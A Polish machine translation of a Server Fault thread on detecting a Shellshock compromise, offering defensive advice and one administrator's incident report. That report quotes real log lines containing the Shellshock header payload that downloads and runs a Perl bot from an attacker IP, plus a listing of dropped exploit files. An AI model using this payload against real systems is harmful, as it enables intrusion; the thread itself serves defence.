Shellshock: Skąd mam wiedzieć, czy mój serwer jest zagrożony + podejrzane pliki, na które trzeba uważać

18

Trzy pytania, na które mam nadzieję, że ktoś może pomóc:

  1. Skąd mam wiedzieć, czy mój serwer jest już zagrożony z powodu błędu Shellshock?
  2. Jeśli został naruszony, czy istnieje jakiś folder, w którym powinienem szukać złośliwych plików?
  3. Jak wygląda złośliwy plik?

Korzystam z CentOS 6, stosu LEMP

Honey Badger
źródło

Odpowiedzi:

36

Skąd mam wiedzieć, czy mój serwer jest już zagrożony z powodu błędu Shellshock?

Ty nie. Taki jest pomysł luki w zabezpieczeniach. Gdybyś musiał kliknąć Wpuść crackerów? OK / Anuluj, to nie byłaby duża luka.

Możesz mieć szczęście sprawdzając dzienniki wektorów ataku, ale biorąc pod uwagę, że tak wiele usług jest podatnych na atak i nie wszystkie z nich rejestrują każdy dostęp, prawdopodobnie nie można jednoznacznie znaleźć ataku.

Jeśli został naruszony, czy istnieje jakiś folder, w którym powinienem szukać złośliwych plików?

Nie, złośliwy plik może być wszędzie.

Wspólne rootkity instalują się w /rootlub /lub /tmplub jedną ze ścieżek binarnych ale naprawdę mogli być wszędzie. Mogą mieć nazwę podobną do prawdziwej usługi lub coś „ważnego”, wyglądającego jak „ IPTables” lub „ kernel-bin”, ale mogą również być losowymi ciągami znaków lub taką samą nazwą jak prawdziwy plik binarny (tylko inną ścieżką). Możesz zauważyć naprawdę oczywiste ładowanie się rootkita /etc/rc.locallub nawiązywanie połączeń przez netstat -neopa. Poszukaj podejrzanych nazw procesów w top -c.

Mniej powszechny i ​​znacznie trudniejszy do znalezienia rootkit zastępuje bibliotekę lub ładuje się jako biblioteka zastępcza i przechwytuje wywołania systemowe. Jest to prawie niemożliwe do znalezienia, chyba że śledzisz / śledzisz każdą rzecz działającą w twoim systemie i nie porównujesz zachowania z oczekiwanym zachowaniem znanego dobrego systemu lub kodu źródłowego.

Przeładowanie systemu byłoby szybsze, łatwiejsze i bardziej rozstrzygające.

Jak wygląda złośliwy plik?

Prawdopodobnie jak każdy inny zwykły plik binarny lub biblioteka ELF. Może to być również skrypt.

Podsumowując, jeśli uważasz, że istnieje możliwość, że twój system został przejęty, traktuj system tak, jakby został przejęty i podejmij niezbędne środki.

suprjami
źródło
14
+1 „Wpuścić krakersów?” Z drugiej strony ... jeśli widzisz w Linuxie coś o nazwie „IPTables”, bądź bardzo podejrzliwy. UNIXian to CapsPhobic.
biskup
jeśli uważasz, że istnieje możliwość, że twój system został przejęty, traktuj system tak, jakby został przejęty i podejmij niezbędne środki. Oznacza to każdy możliwy system, który został bashzainstalowany i podłączony kabel sieciowy, prawda?
Federico Poloni
@FedericoPoloni Tylko wtedy, gdy ktoś może uzyskać dostęp do twojej powłoki za pośrednictwem sieci. Ale poza tym masz absolutną rację.
scai
@FedericoPoloni Nie jestem pewien, czy to mądry wybór, ponieważ musiałbym ciągle wyłączać wszystkie systemy, ponieważ nigdy nie mogę być w 100% pewien, że nie zostały naruszone, a poważnie nikt nie może być pewien, że ich systemy nie zostały naruszone, chyba że są bardzo optymistyczni idioci. Jeśli masz podejrzenie, że twój system nie zachowuje się tak, jak powinien, powinieneś sprawdzić go i jego ruch sieciowy, najlepiej z A CLEAN OS. Nie znalazłem dowodów na manipulację, nie musisz podejmować działań oprócz naprawiania dziur. W przeciwnym razie musielibyśmy ciągle instalować WSZYSTKIE systemy 24x7!
Frank Waller
@FrankWaller Zgadzam się całkowicie. Istnieje zawsze możliwość zdalnego, że system został uszkodzony i atakujący jest wystarczająco wykwalifikowany, aby nie pozostawić żadnych śladów, ale nie możemy ponownie zainstalować 24x7, aby zaspokoić tej sprawie.
Federico Poloni
21

shellshock nie jest robakiem, więc nie ma plików do wyszukania. Shellshock to sposób na zaatakowanie sieci w celu uzyskania dostępu. W środku kto wie, co zrobi atakujący.

Mikrofon
źródło
3
Ta odpowiedź wydaje mi się nieco zagmatwana - być może została w pośpiechu odsunięta lub powinna być komentarzem zamiast odpowiedzi. Jasne, nie jest to robak (jest to luka w zabezpieczeniach, nie jest to złośliwe oprogramowanie), ale nie jest jasne, dlaczego uważasz, że jest to istotne lub dlaczego oznacza to, że „nie ma plików do wyszukania”. Shellshock nie jest sposobem na atakowanie sieci; to sposób na włamanie się do maszyny. To atak na maszynę, a nie sieć.
DW
2
@DW Przyznany bardzo zwięźle, ale wyraźnie w bezpośredniej odpowiedzi na obawy PO is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ
5

Widziałem jedną próbę wykorzystania błędu, który zainstalowałby bota IRC jako /var/tmp/x. Ale generalnie nie ma żadnych konkretnych plików do wyszukiwania, ponieważ mogą one być gdziekolwiek lub nigdzie.

W przypadku naruszenia bezpieczeństwa przez serwer WWW każdy nowy plik lub proces będący własnością użytkownika serwera WWW byłby podejrzany.

W przypadku, gdy osoba atakująca wykorzysta najpierw bashbłąd, aby dostać się do systemu, a następnie lokalną lukę w zabezpieczeniach root, wykrycie może być prawie niemożliwe.

Zobacz także podobne pytanie .

kasperd
źródło
+1 za pomysł własności użytkownika serwera WWW
Xan
4

Chciałbym powtórzyć odpowiedź z suprjami i powiedzieć, że jeśli twój system jest podatny na zagrożenia, powinieneś traktować go jako zagrożony.

Jeśli korzystasz z Apache, możesz sprawdzić dzienniki prób włamania do Shellshock za pomocą następującego polecenia:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

To polecenie wyodrębnia wszystkie wiersze zawierające „cgi” z dzienników dostępu Apache (domyślnie nazywane dziennikiem dostępu, dziennikiem dostępu 1, dziennikiem dostępu 2 itd.), A następnie potokuje je do wyrażenia regularnego za pomocą wyrażenia regularnego.

(Źródło: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )

Ralph
źródło
Pamiętaj, że w przypadku domyślnej konfiguracji Apache będzie to pokazywać ataki tylko w docelowym adresie URL oraz w nagłówkach „User-Agent” i „Referer”. Atak w nagłówku takim jak „Cookie” lub „X-Ploit” nie zostanie zarejestrowany.
Mark
1
@ Mark Absolutnie, powinienem o tym wspomnieć.
Ralph
1
Oczywiście, pierwszą rzeczą, którą zrobiłby każdy szanujący się atakujący, jest usunięcie wszelkich śladów ataku z dzienników… dlatego dzienniki powinny być zapisywane jednorazowo i zdalnie!
Jörg W Mittag
4

Ponieważ istnieje kilka wektorów ataku dla Shellshock, niektóre z nich są jeszcze nieznane dla ogółu społeczeństwa lub spowodowane niestandardowym skryptem CGI, nie ma jednoznacznego sposobu na stwierdzenie, czy ktoś jest zagrożony czy nie.

Oprócz zwykłego „zobaczmy, czy niektóre pliki systemowe uległy zmianie lub ostatnio wydarzyło się coś innego podejrzanego”, możesz mieć oko na zachowanie serwera.

  1. Czy nagle ruch sieciowy jest znacznie większy?
  2. Czy użycie procesora / pamięci bardzo się zmieniło?
  3. Czy coś pochłania miejsce na dysku lub powoduje więcej operacji we / wy znacznie więcej niż zwykle?
  4. Czy netstatpokazuje dziwne połączenia sieciowe lub ps auxpokazuje procesy, których nie rozpoznajesz?
  5. Czy Twój serwer nagle wysyła znacznie więcej wiadomości e-mail niż wcześniej?

Jeśli masz odpowiednie monitorowanie kondycji serwera (np. Zabbix), Może również pomóc w wykryciu naruszenia bezpieczeństwa. Można również porównać sumy plików systemowych MD5 / SHA ze znaną dobrą kopią zapasową.

Po prostu działaj tak, jakby Twój serwer został przejęty i zbadaj wszystko, co możesz wymyślić.

Janne Pikkarainen
źródło
4

Właśnie miałem przyjemność wyczyścić starszy kompromis Pleska. Pierwszą rzeczą, która go rozdała, były liczne procesy, które rozpoczęły nasłuchiwanie wielu portów i innych próbujących pobrać kod z oryginalnego serwera skanującego.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Po logach dowiedziałem się, że ostateczną dziurą był cgi_wrapperskrypt, czymś, co miało chronić i chronić system, jest tym, co faktycznie rozerwało dziurę w zabezpieczeniu. Oto niektóre wiersze dziennika z sond i udanego ataku:

Są to wiersze z dziennika access_log, ponieważ jest to tylko próbka, zwróć uwagę na 200 na dwóch liniach, podczas gdy pozostałe nie działają z 404. Nie musisz się martwić o linie, które mają 404, ponieważ te się nie powiodły, te z 200 jednak to zrobiły. Wzorzec tych ataków jest zawsze taki sam: 1. znajdź podatny na atak skrypt cgi, użyj exploita shellshock, aby pobrać i uruchomić skrypt perla, usuń skrypt perl ponownie. Skrypt perla faktycznie pobierze niektóre pliki źródłowe (tgz), skompiluje je i uruchomi, z tego, co widziałem, zawierają one przynajmniej backdoor i mechanizm automatycznej aktualizacji, a także coś, co wygląda jak exploity, mające na celu zdobycie podwyższonych uprawnień do wykonywania. Wszystkie początkowe skrypty są w rzeczywistości wykonywane jako użytkownik dostarczony przez opakowanie, a późniejsze usługi są uruchamiane z PPID równym 1 (uruchamiany z procesu rootowania).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

A tutaj odpowiednie wiersze dziennika error_log:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Pliki pobrane do / tmp Jak można się domyślić, nie mam pliku bot.pl, ponieważ jest on natychmiast usuwany.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

